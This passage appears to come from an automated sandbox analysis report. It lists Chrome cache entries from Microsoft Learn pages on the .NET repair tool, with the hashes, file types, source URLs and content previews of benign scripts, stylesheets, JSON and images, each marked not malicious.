Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
